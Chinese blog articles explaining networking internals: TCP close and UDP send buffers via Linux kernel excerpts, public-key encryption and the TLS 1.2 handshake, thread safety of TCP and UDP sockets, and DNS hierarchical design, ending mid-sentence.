开始进行四次挥手过程的第一次挥手。void tcp_close(struct sock *sk, long timeout) { // 如果接收缓冲区有数据,那么清空数据 while ((skb = __skb_dequeue(&sk->sk_receive_queue)) != NULL) { u32 len = TCP_SKB_CB(skb)->end_seq - TCP_SKB_CB(skb)->seq - tcp_hdr(skb)->fin; data_was_unread += len; __kfree_skb(skb); } if (data_was_unread) { // 如果接收缓冲区的数据被清空了,发 RST tcp_send_active_reset(sk, sk->sk_allocation); } else if (tcp_close_state(sk)) { // 正常四次挥手, 发 FIN tcp_send_fin(sk); } // 等待关闭 sk_stream_wait_close(sk, timeout); }如果发送缓冲区有数据时,执行close了,会怎么样?以前以为,这种情况下,内核会把发送缓冲区数据清空,然后四次挥手。但是发现源码并不是这样的。void tcp_send_fin(struct sock *sk) { // 获得发送缓冲区的最后一块数据 struct sk_buff *skb, *tskb = tcp_write_queue_tail(sk); struct tcp_sock *tp = tcp_sk(sk); // 如果发送缓冲区还有数据 if (tskb && (tcp_send_head(sk) || sk_under_memory_pressure(sk))) { TCP_SKB_CB(tskb)->tcp_flags |= TCPHDR_FIN; // 把最后一块数据值为 FIN TCP_SKB_CB(tskb)->end_seq++; tp->write_seq++; } else { // 发送缓冲区没有数据,就造一个FIN包 } // 发送数据 __tcp_push_pending_frames(sk, tcp_current_mss(sk), TCP_NAGLE_OFF); }此时,还有些数据没发出去,内核会把发送缓冲区最后一个数据块拿出来。然后置为 FIN。socket 缓冲区是个先进先出的队列,这种情况是指内核会等待TCP层安静把发送缓冲区数据都发完,最后再执行 四次挥手的第一次挥手(FIN包)。有一点需要注意的是,只有在接收缓冲区为空的前提下,我们才有可能走到 tcp_send_fin() 。而只有在进入了这个方法之后,我们才有可能考虑发送缓冲区是否为空的场景。UDP部分UDP也有缓冲区吗说完TCP了,我们聊聊UDP。这对好基友,同时都是传输层里的重要协议。既然前面提到TCP有发送、接收缓冲区,那UDP有吗?以前我以为。"每个UDP socket都有一个接收缓冲区,没有发送缓冲区,从概念上来说就是只要有数据就发,不管对方是否可以正确接收,所以不缓冲,不需要发送缓冲区。"后来我发现我错了。UDP socket 也是 socket,一个socket 就是会有收和发两个缓冲区。跟用什么协议关系不大。有没有是一回事,用不用又是一回事。UDP不用发送缓冲区?事实上,UDP不仅有发送缓冲区,也用发送缓冲区。一般正常情况下,会把数据直接拷到发送缓冲区后直接发送。还有一种情况,是在发送数据的时候,设置一个 MSG_MORE 的标记。ssize_t send(int sock, const void *buf, size_t len, int flags); // flag 置为 MSG_MORE大概的意思是告诉内核,待会还有其他更多消息要一起发,先别着急发出去。此时内核就会把这份数据先用发送缓冲区缓存起来,待会应用层说ok了,再一起发。我们可以看下源码。int udp_sendmsg() { // corkreq 为 true 表示是 MSG_MORE 的方式,仅仅组织报文,不发送; int corkreq = up->corkflag || msg->msg_flags&MSG_MORE; // 将要发送的数据,按照MTU大小分割,每个片段一个skb;并且这些 // skb会放入到套接字的发送缓冲区中;该函数只是组织数据包,并不执行发送动作。 err = ip_append_data(sk, fl4, getfrag, msg->msg_iov, ulen, sizeof(struct udphdr), &ipc, &rt, corkreq ? msg->msg_flags|MSG_MORE : msg->msg_flags); // 没有启用 MSG_MORE 特性,那么直接将发送队列中的数据发送给IP。 if (!corkreq) err = udp_push_pending_frames(sk); }因此,不管是不是 MSG_MORE, IP都会先把数据放到发送队列中,然后根据实际情况再考虑是不是立刻发送。而我们大部分情况下,都不会用 MSG_MORE,也就是来一个数据包就直接发一个数据包。从这个行为上来说,虽然UDP用上了发送缓冲区,但实际上并没有起到"缓冲"的作用。
0
0
0
浏览量471
超超

为什么用公钥加密却不能用公钥解密?

一直以来我都在逃避写HTTPS。毕竟。HTTPS里名词太多。概念又巨繁琐。实在是太难解释了,能不写我尽量不写。。。。但为了让图解网络的知识体系尽量完整些。今天,大家忍一忍。我们就从对称加密和非对称加密聊起吧。对称加密和非对称加密小学上课的时候,都传过小纸条吧?传纸条的时候每个拿到纸条的同学都会忍不住看一眼,毫无隐私可言。假设班花想对我表白,又不想在传的过程中让别人发现她的情意绵绵。就会在课间十分钟里告诉我,"每个字母向左移动一位,就是我想对你说的话"。然后在上课的时候,递出纸条,上面写了 eb tib cj。每个帮助传递纸条的同学看了之后,都暗骂“谜语人,你给我滚出哥谭镇”。嘿嘿,你们不懂,我懂。我拿到纸条后,将每个字母向左移动一位,得到 da sha bi。什么话,这是什么话。坏女人想要毁我向道之心?我果断拒绝了她的表白。现在回忆起来,感动之余,会发现,像这种,将一段大家看得懂的信息(明文)转换为另一段大家看不懂的信息(密文),其实就是加密。像这种“左移”的加密方法,其实就是所谓的秘钥。而这种加密和解密用的都是同一个秘钥的加密形式,就叫对称加密。那既然有对称加密,那就有非对称加密。不同点在于,非对称加密,加密和解密用到的不是同一个秘钥,而是两个不一样的秘钥,分别是公钥和私钥。公钥负责加密,私钥负责解密。公钥人人可得,私钥永远不泄露。<br>那么问题就来了。为什么用公钥加密,却不能用公钥解密?这其实就涉及到公钥和私钥加密的数学原理了。说白了加密就是将一个已知的数字根据一定的规则转换变成另一个数字,以前这些数字放在一起都可读,但是经过这么一转换,就变得不可读了。也就是说加密的本质就是 num -> x (num是已知数,x是未知数)。比如班花操作的加一减一就是很简单的转换方式。那我们换个复杂的,比如求余运算。假设现在有个求余运算公式。5^2 mod 7 = 25 mod 7 = x这个公式就很简单。在已知5的2次方和7的情况下,很容易得到x=4。但是如果我们换一下x的位置。5^x mod 7 = 4求x等于多少的时候,上面的等式能成立呢?那就麻烦多了。5^0 mod 7 = 1 5^1 mod 7 = 5 5^2 mod 7 = 4 5^3 mod 7 = 6 5^4 mod 7 = 2虽然麻烦了一些,但还是能反推得到x=2时等式成立。但如果上面的模数字变得巨大无比呢?5^x mod 56374677648 = 4那这时候计算机只能挨个去试才能算出。正常CPU要跑好多年才能算出来,所以可以认为算不出来。其实上面的公式就是将 5 加密成了4。如果已知x,就很容易算出等式右边的结果是4,而反过来,从4却难以反推得到出x的值是多少。因此说这样的取模算法是不可逆的。虽然取模运算是不可逆的,但是结合欧拉定理,却可以让这个公式在一定条件下变得有点“可逆”(注意是加了引号的)。我们来看下是怎么做的。我们将x掰成两瓣,变成p和q的乘积。原文^(p*q) mod N = 原文如果p, q, N选取得当,原文一波取模操作之后还是变回原文。知道这个没用,但是结合欧拉定理,再经过一些我们都看不懂的推导过程,就可以将上面的公式变换成下面这样。原文^(p) mod N = 密文 密文^(q) mod N = 原文结合欧拉公式的计算过程大家感兴趣可以查查。但这里只知道结论就够了。也就是说,知道 p就能加密,知道 q就能解密。而这里的p就是公钥,q就是私钥。用公钥加密过的密文只有用私钥才能解密。而且更妙的是。p和q其实在公式里位置是可以互换的,所以反过来说“用私钥加密过的密文,只有公钥才能解密”,也是ok的。而这种操作,就是常说的验证数字签名。这就像以前古装电视剧里,经常有这么个剧情,两个失散多年的亲人,各自身上带有一块碎成两瓣的玉佩。 哪天他们发现两块玉佩裂痕正好可以拼在一起,那就确认了对方就是自己失散多年的好大儿。这两块碎玉,就有点公钥和私钥的味道。原理大家知道这么多其实就够了。看到这里,我们就能回答标题的问题了。为什么用公钥加密,却不能用公钥解密?因为大数取模运算是不可逆的,因此他人无法暴力解密。但是结合欧拉定理,我们可以选取出合适的p(公钥), q(私钥), N(用于取模的大数),让原本不可逆的运算在特定情况下,变得有那么点“可逆”的味道。数学原理决定了我们用公钥加密的数据,只有私钥能解密。反过来,用私钥加密的数据,也只有公钥能解密。从数学原理也能看出,公钥和私钥加密是安全的,但这件事情的前提是建立在"现在的计算机计算速度还不够快"这个基础上。因此,如果有一天科技变得更发达了,我们变成了更高维度的科技文明,可能现在的密文就跟明文没啥区别了。了解了对称加密和非对称机密之后,我们就可以聊聊HTTPS的加密原理了。HTTPS的加密原理如果你在公司内网里做开发,并且写的代码也只对内网提供服务。那么大概率你的服务是用的HTTP协议。但如果哪天你想让外网的朋友们也体验下你的服务功能,那就需要将服务暴露到外网,而这时候如果还是用的HTTP协议,那信息的收发就会是明文,只要有心人士在通讯链路中任意一个路由器那抓个包,就能看到你HTTP包里的内容,因此很不安全。为了让明文,变成密文,我们需要在HTTP层之上再加一层TLS层,目的就是为了做个加密。这就成了我们常说的HTTPS。TLS其实分为1.2和1.3版本,目前主流的还是1.2版本,我们以它为例,来看下HTTPS的连接是怎么建立的。HTTPS握手过程首先是建立TCP连接,毕竟HTTP是基于TCP的应用层协议。在TCP成功建立完协议后,就可以开始进入HTTPS的加密流程。总的来说。整个加密流程其实分为两阶段。第一阶段是TLS四次握手,这一阶段主要是利用非对称加密的特性各种交换信息,最后得到一个"会话秘钥"。第二阶段是则是在第一阶段的"会话秘钥"基础上,进行对称加密通信。我们先来看下第一阶段的TLS四次握手是怎么样的。第一次握手:Client Hello:是客户端告诉服务端,它支持什么样的加密协议版本,比如 TLS1.2,使用什么样的加密套件,比如最常见的RSA,同时还给出一个客户端随机数。第二次握手:Server Hello:服务端告诉客户端,服务器随机数 + 服务器证书 + 确定的加密协议版本(比如就是TLS1.2)。第三次握手:Client Key Exchange: 此时客户端再生成一个随机数,叫 pre_master_key 。从第二次握手的服务器证书里取出服务器公钥,用公钥加密 pre_master_key,发给服务器。Change Cipher Spec: 客户端这边已经拥有三个随机数: 客户端随机数,服务器随机数和pre_master_key,用这三个随机数进行计算得到一个"会话秘钥"。此时客户端通知服务端,后面会用这个会话秘钥进行对称机密通信。Encrypted Handshake Message:客户端会把迄今为止的通信数据内容生成一个摘要,用"会话秘钥"加密一下,发给服务器做校验,此时客户端这边的握手流程就结束了,因此也叫Finished报文。第四次握手:Change Cipher Spec:服务端此时拿到客户端传来的 pre_master_key(虽然被服务器公钥加密过,但服务器有私钥,能解密获得原文),集齐三个随机数,跟客户端一样,用这三个随机数通过同样的算法获得一个"会话秘钥"。此时服务器告诉客户端,后面会用这个"会话秘钥"进行加密通信。Encrypted Handshake Message:跟客户端的操作一样,将迄今为止的通信数据内容生成一个摘要,用"会话秘钥"加密一下,发给客户端做校验,到这里,服务端的握手流程也结束了,因此这也叫Finished报文。短短几次握手,里面全是细节,没有一处是多余的。我们一个个来解释。因为大家肯定已经很晕了,所以我会尽量用简短的语句,来解释下面几个问题。HTTPS到底是对称加密还是非对称机密?都用到了。前期4次握手,本质上就是在利用非对称加密的特点,交换三个随机数。目的就是为了最后用这三个随机数生成对称加密的"会话秘钥"。后期就一直用对称机密的方式进行通信。为什么不都用非对称加密呢?因为非对称加密慢,对称加密相对来说快一些。第二次握手里的服务器证书是什么?怎么从里面取出公钥?服务器证书,本质上是,被权威数字证书机构(CA)的私钥加密过的服务器公钥。上面提到过,被私钥加密过的数据,是可以用公钥来解密的。而公钥是任何人都可以得到的。所以第二次握手的时候,客户端可以通过CA的公钥,来解密服务器证书,从而拿到藏在里面的服务器公钥。看起来好像有点多此一举?那么问题来了。为什么我不能只传公钥,而要拿CA的私钥加密一次再传过去?反过来想想,如果只传公钥,公钥就有可能会在传输的过程中就被黑客替换掉。然后第三次握手时客户端会拿着假公钥来加密第三个随机数 pre_master_key,黑客解密后自然就知道了最为关键的 pre_master_key。又因为第一和第二个随机数是公开的,因此就可以计算出"会话秘钥"。所以需要有个办法证明客户端拿到的公钥是真正的服务器公钥,于是就拿CA的私钥去做一次加密变成服务器证书,这样客户端拿CA的公钥去解密,就能验证是不是真正的服务器公钥。那么问题又又来了怎么去获得CA的公钥?最容易想到的是请求CA的官网,获取公钥。但全世界要上网的人那么多,都用去请求CA官网的话,官网肯定顶不住。考虑到能颁发证书的CA机构可不多,因此对应的CA公钥也不多,把他们直接作为配置放到操作系统或者浏览器里,这就完美解决了上面的问题。别人就拿不到你这三个随机数?这三个随机数,两个来自客户端,一个来自服务端。第一次和第二次握手里的客户端随机数和服务端随机数,都是明文的。只要有心,大家都能拿到。但第三个随机数 pre_master_key 则不行,因为它在客户端生成后,发给服务器之前,被服务器的公钥加密过,因此只有服务器本器才能用私钥进行解密。就算被别人拿到了,没有服务器的私钥,也无法解密出原文。为什么要用三个随机数?而不是一个或两个?看上去第三个随机数 pre_master_key才是关键,另外两个看起来可有可无?确实,就算没有另外两个,也并不影响加密功能。之所以还要两个随机数,是因为只有单个 pre_master_key随机性不足,多次随机的情况下有可能出来的秘钥是一样的。但如果再引入两个随机数,就能大大增加"会话秘钥"的随机程度,从而保证每次HTTPS通信用的会话秘钥都是不同的。为什么第三和第四次握手还要给个摘要?第三和第四次握手的最后都有个 Finished报文,里面是个摘要。摘要,说白了就是对一大段文本进行一次hash操作。目的是为了确认通信过程中数据没被篡改过。第三次握手,客户端生成摘要,服务端验证,如果验证通过,说明客户端生成的数据没被篡改过,服务端后面才能放心跟客户端通信。第四次握手,则是反过来,由服务端生成摘要,客户端来验证,验证通过了,说明服务端是可信任的。那么问题叒来了。为什么要hash一次而不是直接拿原文进行对比?这是因为原文内容过长,hash之后可以让数据变短。更短意味着更小的传输成本。这个过程中到底涉及了几对私钥和公钥?两对。服务器本身的公钥和私钥:在第二次握手中,服务器将自己的公钥(藏在数字证书里)发给客户端。第三次握手中用这个服务器公钥来加密第三个随机数 pre_master_key。服务器拿到后用自己的私钥去做解密。CA的公钥和私钥:第二次握手中,传的数字证书里,包含了被CA的私钥加密过的服务器公钥。客户端拿到后,会用实现内置在操作系统或浏览器里的CA公钥去进行解密。总结大数取模运算是不可逆的,因此他人无法暴力解密。但是结合欧拉定理,我们可以选取出合适的p(公钥), q(私钥), N(用于取模的大数),让原本不可逆的运算在特定情况下,变得有那么点“可逆”的味道。数学原理决定了我们用公钥加密的数据,只有私钥能解密。反过来,用私钥加密的数据,也只有公钥能解密。HTTPS相当于HTTP+TLS,目前主流的是TLS1.2,基于TCP三次握手之后,再来TLS四次握手。TLS四次握手的过程中涉及到两对私钥和公钥。分别是服务器本身的私钥和公钥,以及CA的私钥和公钥。TLS四次握手背起来会挺难受的,建议关注三个随机数的流向,以此作为基础去理解,大概就能记下来了。
0
0
0
浏览量515
超超

socket是并发安全的吗?

为了更好的聊今天的话题,我们先假设一个场景。我相信我读者大部分都是做互联网应用开发的,可能对游戏的架构不太了解。我们想象中的游戏架构是下面这样的。也就是用户客户端直接连接游戏核心逻辑服务器,下面简称GameServer。GameServer主要负责实现各种玩法逻辑。这当然是能跑起来,实现也很简单。但这样会有个问题,因为游戏这块蛋糕很大,所以总会遇到很多挺刑的事情。如果让用户直连GameServer,那相当于把GameServer的ip暴露给了所有人。不赚钱还好,一旦游戏赚钱,就会遇到各种攻击。你猜《羊了个羊》最火的时候为啥老是崩溃?假设一个游戏服务器能承载4k玩家,一旦服务器遭受直接攻击,那4k玩家都会被影响。这攻击的是服务器吗?这明明攻击的是老板的钱包。<br>所以很多时候不会让用户直连GameServer。而是在前面加入一层网关层,下面简称gateway。类似这样。GameServer就躲在了gateway背后,用户只能得到gateway的IP。然后将大概每100个用户放在一个gateway里,这样如果真被攻击,就算gateway崩了,受影响的也就那100个玩家。由于大部分游戏都使用TCP做开发,所以下面提到的连接,如果没有特别说明,那都是指TCP连接。那么问题来了。假设有100个用户连gateway,那gateway跟GameServer之间也会是 100个连接吗?当然不会,gateway跟GameServer之间的连接数会远小于100。因为这100个用户不会一直需要收发消息,总有空闲的时候,完全可以让多个用户复用同一条连接,将数据打包一起发送给GameServer,这样单个连接的利用率也高了,GameServer 也不再需要同时维持太多连接,可以节省了不少资源,这样就可以多服务几个金主。我们知道,要对网络连接写数据,就要执行 send(socket_fd, data)。于是问题就来了。已知多个用户共用同一条连接。现在多个用户要发数据,也就是多个用户线程需要写同一个socket_fd。那么,socket是并发安全的吗?能让这多个线程同时并发写吗?<br>写TCP Socket是线程安全的吗?对于TCP,我们一般使用下面的方式创建socket。sockfd=socket(AF_INET,SOCK_STREAM, 0))返回的sockfd是socket的句柄id,用于在整个操作系统中唯一标识你的socket是哪个,可以理解为socket的身份证id。创建socket时,操作系统内核会顺带为socket创建一个发送缓冲区和一个接收缓冲区。分别用于在发送和接收数据的时候给暂存一下数据。写socket的方式有很多,既可以是send,也可以是write。但不管哪个,最后在内核里都会走到 tcp_sendmsg() 函数下。// net/ipv4/tcp.c int tcp_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, size_t size) { // 加锁 lock_sock(sk); // ... 拷贝到发送缓冲区的相关操作 // 解锁 release_sock(sk); }在tcp_sendmsg的目的就是将要发送的数据放入到TCP的发送缓冲区中,此时并没有所谓的发送数据出去,函数就返回了,内核后续再根据实际情况异步发送。关于这点,我在之前写过的 《动图图解 | 代码执行send成功后,数据就发出去了吗?》有更详细的介绍。从tcp_sendmsg的代码中可以看到,在对socket的缓冲区执行写操作的时候,linux内核已经自动帮我们加好了锁,也就是说,是线程安全的。所以可以多线程不加锁并发写入数据吗?不能。问题的关键在于锁的粒度。但我们知道TCP有三大特点,面向连接,可靠的,基于字节流的协议。问题就出在这个"基于字节流",它是个源源不断的二进制数据流,无边界。来多少就发多少,但是能发多少,得看你的发送缓冲区还剩多少空间。举个例子,假设A线程想发123数据包,B线程想发456数据包。A和B线程同时执行send(),A先抢到锁,此时发送缓冲区就剩1个数据包的位置,那发了"1",然后发送缓冲区满了,A线程退出(非阻塞),当发送缓冲区腾出位置后,此时AB再次同时争抢,这次被B先抢到了,B发了"4"之后缓冲区又满了,不得不退出。重复这样多次争抢之后,原本的数据内容都被打乱了,变成了142356。因为数据123是个整体,456又是个整体,像现在这样数据被打乱的话,接收方就算收到了数据也没办法正常解析。也就是说锁的粒度其实是每次"写操作",但每次写操作并不保证能把消息写完整。那么问题就来了,那是不是我在写整个完整消息之前加个锁,整个消息都写完之后再解锁,这样就好了?类似下面这样。// 伪代码 int safe_send(msg string) { target_len = length(msg) have_send_len = 0 // 加锁 lock(); // 不断循环直到发完整个完整消息 do { send_len := send(sockfd,msg) have_send_len = have_send_len + send_len } while(have_send_len < target_len) // 解锁 unlock(); }这也不行,我们知道加锁这个事情是影响性能的,锁的粒度越小,性能就越好。反之性能就越差。当我们抢到了锁,使用 send(sockfd,msg) 发送完整数据的时候,如果此时发送缓冲区正好一写就满了,那这个线程就得一直占着这个锁直到整个消息写完。其他线程都在旁边等它解锁,啥事也干不了,焦急难耐想着抢锁。但凡某个消息体稍微大点,这样的问题就会变得更严重。整个服务的性能也会被这波神仙操作给拖垮。归根结底还是因为锁的粒度太大了。有没有更好的方式呢?其实多个线程抢锁,最后抢到锁的线程才能进行写操作,从本质上来看,就是将所有用户发给GameServer逻辑服务器的消息给串行化了,那既然是串行化,我完全可以在在业务代码里为每个socket_fd配一个队列来做,将数据在用户态加锁后塞到这个队列里,再单独开一个线程,这个线程的工作就是发送消息给socket_fd。于是上面的场景就变成了下面这样。于是在gateway层,多个用户线程同时写消息时,会去争抢某个socket_fd对应的队列,抢到锁之后就写数据到队列。而真正执行 send(sockfd,msg) 的线程其实只有一个。它会从这个队列中取数据,然后不加锁的批量发送数据到 GameServer。由于加锁后要做的事情很简单,也就塞个队列而已,因此非常快。并且由于执行发送数据的只有单个线程,因此也不会有消息体乱序的问题。读TCP Socket是线程安全的吗?在前面有了写socket是线程安全的结论,我们稍微翻一下源码就能发现,读socket其实也是加锁了的,所以并发多线程读socket这件事是线程安全的。// net/ipv4/tcp.c int tcp_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, size_t len, int nonblock, int flags, int *addr_len) { // 加锁 lock_sock(sk); // ... 将数据从接收缓冲区拷贝到用户缓冲区 // 释放锁 release_sock(sk); }但就算是线程安全,也不代表你可以用多个线程并发去读。因为这个锁,只保证你在读socket 接收缓冲区时,只有一个线程在读,但并不能保证你每次的时候,都能正好读到完整消息体后才返回。所以虽然并发读不报错,但每个线程拿到的消息肯定都不全,因为锁的粒度并不保证能读完完整消息。TCP是基于数据流的协议,数据流会源源不断从网卡那送到接收缓冲区。如果此时接收缓冲区里有两条完整消息,比如 "我是小白"和"点赞在看走一波"。有两个线程A和B同时并发去读的话,A线程就可能读到“我是 点赞走一波", B线程就可能读到”小白 在看"两条消息都变得不完整了。解决方案还是跟读的时候一样,读socket的只能有一个线程,读到了消息之后塞到加锁队列中,再将消息分开给到GameServer的多线程用户逻辑模块中去做处理。读写UDP Socket是线程安全的吗?聊完TCP,我们很自然就能想到另外一个传输层协议UDP,那么它是线程安全的吗?我们平时写代码的时候如果要使用udp发送消息,一般会像下面这样操作。ssize_t sendto(int sockfd, const void *buf, size_t nbytes, int flags, const struct sockaddr *to, socklen_t addrlen);而执行到底层,会到linux内核的udp_sendmsg函数中。int udp_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, size_t len) { if (用到了MSG_MORE的功能) { lock_sock(sk); // 加入到发送缓冲区中 release_sock(sk); } else { // 不加锁,直接发送消息 } }这里我用伪代码改了下,大概的含义就是用到MSG_MORE就加锁,否则不加锁将传入的msg作为一整个数据包直接发送。首先需要搞清楚,MSG_MORE 是啥。它可以通过上面提到的sendto函数最右边的flags字段进行设置。大概的意思是告诉内核,待会还有其他更多消息要一起发,先别着急发出去。此时内核就会把这份数据先用发送缓冲区缓存起来,待会应用层说ok了,再一起发。但是,我们一般也用不到 MSG_MORE。所以我们直接关注另外一个分支,也就是不加锁直接发消息。那是不是说明走了不加锁的分支时,udp发消息并不是线程安全的?其实。还是线程安全的,不用lock_sock(sk)加锁,单纯是因为没必要。开启MSG_MORE时多个线程会同时写到同一个socket_fd对应的发送缓冲区中,然后再统一一起发送到IP层,因此需要有个锁防止出现多个线程将对方写的数据给覆盖掉的问题。而不开启MSG_MORE时,数据则会直接发送给IP层,就没有了上面的烦恼。再看下udp的接收函数udp_recvmsg,会发现情况也类似,这里就不再赘述。能否多线程同时并发读或写同一个UDP socket?在TCP中,线程安全不代表你可以并发地读写同一个socket_fd,因为哪怕内核态中加了lock_sock(sk),这个锁的粒度并不覆盖整个完整消息的多次分批发送,它只保证单次发送的线程安全,所以建议只用一个线程去读写一个socket_fd。那么问题又来了,那UDP呢?会有一样的问题吗?我们跟TCP对比下,大家就知道了。TCP不能用多线程同时读和同时写,是因为它是基于数据流的协议。那UDP呢?它是基于数据报的协议。基于数据流和基于数据报有什么区别呢?基于数据流,意味着发给内核底层的数据就跟水进入水管一样,内核根本不知道什么时候是个头,没有明确的边界。而基于数据报,可以类比为一件件快递进入传送管道一样,内核很清楚拿到的是几件快递,快递和快递之间边界分明。那从我们使用的方式来看,应用层通过TCP去发数据,TCP就先把它放到缓冲区中,然后就返回。至于什么时候发数据,发多少数据,发的数据是刚刚应用层传进去的一半还是全部都是不确定的,全看内核的心情。在接收端收的时候也一样。但UDP就不同,UDP 对应用层交下来的报文,既不合并,也不拆分,而是保留这些报文的边界。无论应用层交给 UDP 多长的报文,UDP 都照样发送,即一次发送一个报文。至于数据包太长,需要分片,那也是IP层的事情,跟UDP没啥关系,大不了效率低一些。而接收方在接收数据报的时候,一次取一个完整的包,不存在TCP常见的半包和粘包问题。正因为基于数据报和基于字节流的差异,TCP 发送端发 10 次字节流数据,接收端可以分 100 次去取数据,每次取数据的长度可以根据处理能力作调整;但 UDP 发送端发了 10 次数据报,那接收端就要在 10 次收完,且发了多少次,就取多少次,确保每次都是一个完整的数据报。所以从这个角度来说,UDP写数据报的行为是"原子"的,不存在发一半包或收一半包的问题,要么整个包成功,要么整个包失败。因此多个线程同时读写,也就不会有TCP的问题。所以,可以多个线程同时读写同一个udp socket。但就算可以,我依然不建议大家这么做。为什么不建议使用多线程同时读写同一个UDP socketudp本身是不可靠的协议,多线程高并发执行发送时,会对系统造成较大压力,这时候丢包是常见的事情。虽然这时候应用层能实现重传逻辑,但重传这件事毕竟是越少越好。因此通常还会希望能有个应用层流量控制的功能,如果是单线程读写的话,就可以在同一个地方对流量实现调控。类似的,实现其他插件功能也会更加方便,比如给某些vip等级的老板更快速的游戏体验啥的(我瞎说的)。所以正确的做法,还是跟TCP一样,不管外面有多少个线程,还是并发加锁写到一个队列里,然后起一个单独的线程去做发送操作。总结多线程并发读/写同一个TCP socket是线程安全的,因为TCP socket的读/写操作都上锁了。虽然线程安全,但依然不建议你这么做,因为TCP本身是基于数据流的协议,一份完整的消息数据可能会分开多次去写/读,内核的锁只保证单次读/写socket是线程安全,锁的粒度并不覆盖整个完整消息。因此建议用一个线程去读/写TCP socket。多线程并发读/写同一个UDP socket也是线程安全的,因为UDP socket的读/写操作也都上锁了。UDP写数据报的行为是"原子"的,不存在发一半包或收一半包的问题,要么整个包成功,要么整个包失败。因此多个线程同时读写,也就不会有TCP的问题。虽然如此,但还是建议用一个线程去读/写UDP socket。最后上面文章里提到,建议用单线程的方式去读/写socket,但每个socket都配一个线程这件事情,显然有些奢侈,比如线程切换的代价也不小,那这种情况有什么好的解决办法吗?
0
0
0
浏览量516
超超

DNS中有哪些值得学习的优秀设计

我曾经也当过学生,现在回想起来,会发现,学生时代的男生记忆力贼好,他们总能记住一串复杂神秘的字母数字串域名,有些大神甚至能直接敲IP上网。每每想起,震惊不已。震惊之余。我们会发现这里面有几个值得一聊的技术性问题。比如,为什么用域名和IP都能上网。他们之间是什么关系。往深了聊,我们可以聊到DNS的原理,以及它的设计有哪些是值得我们学习的。今天的话题,我们从为什么要有DNS聊起。为什么要有DNS如果我们想要访问某度,你可以在浏览器上的搜索栏里输入112.80.248.76这个IP地址,直达页面。这样的行为,合法,但有病。大部分人,连自己对象的电话号码都记不住,又怎么可能记得住这么一串IP地址呢。哦,不好意思,伤害到兄弟们了,你们没对象。但我假设你们有。回想一下,虽然你记不住对象的电话号码,但却不影响你给她打电话。你的操作过程是不是打开通讯录,输入"富婆",然后就弹出一个电话号码。点击即拨打。在计算机领域,你大概率也记不住IP,所以也需要有类似的通讯录的功能。比如,你只需要输入www.baidu.com,它就能帮你找到对应的 112.80.248.76,然后进行访问。其中www.baidu.com 是域名,通过这个域名可以获得它背后的IP是112.80.248.76。就像一个人可以有多个电话号码一样,一个域名也可以对应有多个IP地址。而将域名解析为IP的过程,也就是查"通讯录"的过程,其实就是DNS(Domain Name System,域名系统)协议需要做的事情。另外需要注意的是,上面的这个IP地址,我写这篇文章的时候能访问,不代表大家看文章的时候能访问。因为这背后的IP地址是有可能变更的。可以通过使用 ping www.baidu.com获得最新的IP地址。但问题就来了。普通人的通讯录,一般有一千个电话号码就算是社交小达人了,放在通讯录里绰绰有余。然而网站域名,却不一样,据说2015年的时候就已经超过3亿了。如果将这3亿条记录都放在一个服务器里,会有两个问题。超过3亿条域名数据,数据量过大,并且数据量持续增加需要承受大量的读请求。每个网站域名都可能会有成千的访问。这加起来,四舍五入也有千亿qps了。显然,如果将DNS做成类似手机通讯录这样的单点服务,那是不可能实现这样的能力的,必须得是分布式系统。于是,问题就变成了,如何设计一个支持千亿+qps请求的大型分布式系统。我知道肯定有人要说:"这是服务只有10qps的人该考虑的事情吗?"虽然我们做的服务可能只有10qps,但这并不妨碍我们学习DNS里优秀的设计。我们就从URL的层次结构聊起。URL的层次结构举个例子。一个常见的域名,比如 www.baidu.com。可以看到,这个域名中间用了两个句点。通过句点符号,可以将域名分为三部分。其中com被称为一级域或顶级域,其他常见的顶级域还有cn,co等,baidu是二级域,www则是三级域。除此之后,在com后面,其实还有一个被省略掉的句点号。它叫根域。当域名多起来了之后,将它们相同的部分抽取出来,多个域名就可以变成这样的树状层级结构。这时候我们就可以看到,这些域之间其实是一种层级关系,就像是学校,年级,班级那样。当你想要去定位一个具体域名的时候,你就可以通过这样的层级找到对应的域名。举个例子。大家应该还记得那句广告词,"三年级2班的李小明同学,你妈妈拿了两罐旺仔牛奶给你",其实李小明的妈妈,就是通过,学校、年级、班级的层级形式,一层层找到人。DNS的原理我们重新回来看下大佬们是怎么设计DNS。先直接说最重要的结论。利用层级结构去拆分服务加入多级缓存接下来展开。利用URL层级结构去拆分服务DNS承载的流量压力非常大,必须要做成分布式服务,于是问题的关键就变成了如何拆分服务。既然URL是树状的层级结构,那保存它们的服务,也可以依据这个,非常自然的拆成树状的形式。一台服务器维护一个或多个域的信息。于是服务就变成了下面这样的层级形式。当我们需要访问www.baidu.com。查询过程就跟下图一样。请求会先打到最近的DNS服务器(比如你家的家用路由器)中,如果在DNS服务器中找不到,则DNS服务器会直接询问根域服务器,在根域服务器中虽然没有www.baidu.com这条记录的,但它可以知道这个URL属于com域,于是就找到com域服务器的IP地址,然后访问com域服务器,重复上面的操作,再找到放了baidu域的服务器是哪个,继续往下,直到找到www.baidu.com的那条记录,最后返回对应的IP地址。可以看到,原理比较简单,但这里涉及到两个问题。本机怎么知道最近的DNS服务器IP是什么?最近的DNS服务器怎么知道根域的IP是多少?我们一个个来回答。本机怎么知道最近的DNS服务器的IP是什么?这个在之前写过的《刚插上网线,电脑怎么知道自己的IP是什么?》 提到过,插上网线时,机子会通过DHCP协议获得本机的IP地址,子网掩码,路由器地址,以及DNS服务器的IP地址。下面是我的mac机子,第二阶段DHCP Offer中的抓包截图。可以看到,这里面返回的信息里包含了DNS服务器的IP。同时也可以在左上角的点左上角的苹果图标->系统表偏好设置->网络->高级->DNS中查看到DNS服务器的IP地址。这里有个小细节,从上面的抓包图里可以看到路由器地址和DNS服务器地址,以及DHCP服务器地址,其实都是192.168.31.1,这个其实是我这边的家用路由器的IP地址,也就是说一般家用路由器自带这几个功能。而在某里云服务器里,DNS服务器也是一样,是通过dhcp协议获得。查看DNS服务器的IP地址也很方便,执行cat 